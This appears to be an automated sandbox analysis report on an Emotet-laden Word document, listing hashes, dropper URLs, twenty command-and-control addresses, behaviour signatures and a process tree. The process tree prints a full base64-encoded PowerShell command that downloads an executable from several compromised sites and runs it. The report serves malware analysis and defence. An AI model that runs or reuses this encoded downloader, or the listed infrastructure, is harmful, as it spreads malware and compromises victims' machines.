Analysis

  • max time kernel
    59s
  • max time network
    66s
  • platform
    windows7_x64
  • resource
    win7v200430
  • submitted
    17-07-2020 22:46

General

  • Target

    b71f03da714cb5cea05b3a2f05f0b6499acdfad5788ef91e8bf105ddbf92c6e7.doc

  • Size

    191KB

  • MD5

    e718708bf117a077a4a23eeda652ac86

  • SHA1

    fcb256cc6edd463270d56ca68e102a87aec7fa98

  • SHA256

    b71f03da714cb5cea05b3a2f05f0b6499acdfad5788ef91e8bf105ddbf92c6e7

  • SHA512

    9ee5136e9167f3fe5d294fdd092111e33425efdd9e7cfbea7ba7659d7a8e149eab64262fa5be1b02e044e6fd1cef5395ef3690ac5a64dbb75f99ed377139d308

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://mican.tri-comma.com/wp-admin/BmKOeycm0704/

exe.dropper

http://defensacovid.com/wp-admin/dGzIMVvo/

exe.dropper

http://doorbhai.com/wp-admin/Wq6Kdoisk1r4060453/

exe.dropper

http://agilentgame.reviewshell.com/cgi-bin/csoa45gw51315935/

exe.dropper

http://karir-up.com/wp-admin/CCzj96yk23/

Extracted

Family

emotet

C2

177.144.130.105:443

198.27.69.201:8080

157.7.164.178:8081

78.188.170.128:80

203.153.216.178:7080

77.74.78.80:443

178.33.167.120:8080

177.0.241.28:80

143.95.101.72:8080

51.38.201.19:7080

181.167.35.84:80

41.185.29.128:8080

192.163.221.191:8080

181.164.110.7:80

203.153.216.182:7080

80.211.32.88:8080

113.160.180.109:80

185.142.236.163:443

192.241.220.183:8080

87.106.231.60:8080

rsa_pubkey.plain

Signatures

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Office loads VBA resources, possible macro or embedded object present
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Suspicious behavior: EmotetMutantsSpam 1 IoCs
  • Modifies registry class 280 IoCs
  • Drops file in System32 directory 2 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\b71f03da714cb5cea05b3a2f05f0b6499acdfad5788ef91e8bf105ddbf92c6e7.doc"
    1⤵
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Modifies registry class
    PID:1016
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JAB0AGgAaQBiAD0AJwBoAGUAZQBqACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBjAGAAVQByAGAASQBUAFkAYABwAHIATwB0AE8AYwBPAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABjAGUAdQBkAGoAdQBqACAAPQAgACcAOQA5ADcAJwA7ACQAcQB1AHUAdQB2AGoAbwBlAGwAYgBlAGEAawB6AGUAbwBwAGcAdQB2AG4AbwBhAGQAPQAnAG0AbwBlAHEAdQB2AGUAbwB0AGgAcABhAHUAcgBqAGUAZQBjACcAOwAkAG4AaQBiAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABjAGUAdQBkAGoAdQBqACsAJwAuAGUAeABlACcAOwAkAHIAaQBlAHkAZgBvAGUAeQBoAG8AdQBjAGYAbwBlAG0APQAnAHkAdQBhAHcAbQBlAG8AbABkAG8AaQB6AGQAYQBqACcAOwAkAGMAaABvAHUAbABsAG8AZQBoAGMAdQBhAGwAbgBlAGEAdgB3AGkAbwB6AGYAZQB1AGsAPQAuACgAJwBuACcAKwAnAGUAdwAtAG8AYgBqACcAKwAnAGUAYwB0ACcAKQAgAG4ARQB0AC4AdwBFAGIAYwBsAEkARQBOAHQAOwAkAGMAaABvAGkAYwBoAHkAaQBjAGgAcABhAHUAYwBjAGgAbwBhAGYAdgBhAGkAdgA9ACcAaAB0AHQAcAA6AC8ALwBtAGkAYwBhAG4ALgB0AHIAaQAtAGMAbwBtAG0AYQAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AQgBtAEsATwBlAHkAYwBtADAANwAwADQALwAqAGgAdAB0AHAAOgAvAC8AZABlAGYAZQBuAHMAYQBjAG8AdgBpAGQALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAGQARwB6AEkATQBWAHYAbwAvACoAaAB0AHQAcAA6AC8ALwBkAG8AbwByAGIAaABhAGkALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAFcAcQA2AEsAZABvAGkAcwBrADEAcgA0ADAANgAwADQANQAzAC8AKgBoAHQAdABwADoALwAvAGEAZwBpAGwAZQBuAHQAZwBhAG0AZQAuAHIAZQB2AGkAZQB3AHMAaABlAGwAbAAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAGMAcwBvAGEANAA1AGcAdwA1ADEAMwAxADUAOQAzADUALwAqAGgAdAB0AHAAOgAvAC8AawBhAHIAaQByAC0AdQBwAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBDAEMAegBqADkANgB5AGsAMgAzAC8AJwAuACIAUwBgAHAAbABJAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABtAGEAaQBiAD0AJwBkAG8AdQB5AGMAaAB1AGEAcwBsAGUAbwB2ACcAOwBmAG8AcgBlAGEAYwBoACgAJAByAGEAbwBiAHoAZQB1AHgAIABpAG4AIAAkAGMAaABvAGkAYwBoAHkAaQBjAGgAcABhAHUAYwBjAGgAbwBhAGYAdgBhAGkAdgApAHsAdAByAHkAewAkAGMAaABvAHUAbABsAG8AZQBoAGMAdQBhAGwAbgBlAGEAdgB3AGkAbwB6AGYAZQB1AGsALgAiAEQATwBXAG4AYABsAE8AQQBgAEQAZgBgAGkATABlACIAKAAkAHIAYQBvAGIAegBlAHUAeAAsACAAJABuAGkAYgApADsAJAB0AGgAbwBhAGsAdABhAGUAaAB6AGUAcgB0AG8AeABkAHUAYQB4AHcAZQBvAHgAPQAnAHYAZQBhAHEAdQB0AGgAaQBhAGMAdABoAGkAZQB3AHQAaABhAHUAawB0AGgAbwBvAG4AaABpAHIAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAnACsAJwAtAEkAdABlACcAKwAnAG0AJwApACAAJABuAGkAYgApAC4AIgBsAEUAYABOAEcAYABUAGgAIgAgAC0AZwBlACAAMwAwADcAMAA5ACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBjAFIAZQBgAEEAVABFACIAKAAkAG4AaQBiACkAOwAkAHkAZQBqAGsAaQBvAG0AawBhAHUAeQB6AG8AaAA9ACcAdABpAGUAYgAnADsAYgByAGUAYQBrADsAJAB0AGgAbwBvAHcAcgBhAHUAdABkAHUAZwA9ACcAaABvAHUAdAB3AGkAbwBmACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAHEAdQBvAGkAbQBjAGEAbwBuAGoAbwBhAGQAeQBpAGEAdgBqAG8AYQBoAHoAdQB1AGwAPQAnAHkAdQB1AG4AbQBvAGYAJwA=
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Process spawned unexpected child process
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Blacklisted process makes network request
    PID:1084
  • C:\Users\Admin\997.exe
    C:\Users\Admin\997.exe
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    • Drops file in System32 directory
    • Executes dropped EXE
    PID:752
    • C:\Windows\SysWOW64\ucrtbase\msrd3x40.exe
      "C:\Windows\SysWOW64\ucrtbase\msrd3x40.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      • Suspicious behavior: EmotetMutantsSpam
      • Suspicious behavior: EnumeratesProcesses
      • Executes dropped EXE
      PID:1216

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/752-10-0x00000000002F0000-0x00000000002FC000-memory.dmp

    Filesize

    48KB

  • memory/1016-2-0x0000000008A10000-0x0000000008A14000-memory.dmp

    Filesize

    16KB

  • memory/1016-5-0x000000000AD90000-0x000000000AD94000-memory.dmp

    Filesize

    16KB

  • memory/1016-6-0x000000000BE10000-0x000000000BE14000-memory.dmp

    Filesize

    16KB

  • memory/1016-7-0x0000000002180000-0x0000000002181000-memory.dmp

    Filesize

    4KB

  • memory/1216-13-0x0000000001C30000-0x0000000001C3C000-memory.dmp

    Filesize

    48KB

  • memory/1216-14-0x0000000000400000-0x0000000000449000-memory.dmp

    Filesize

    292KB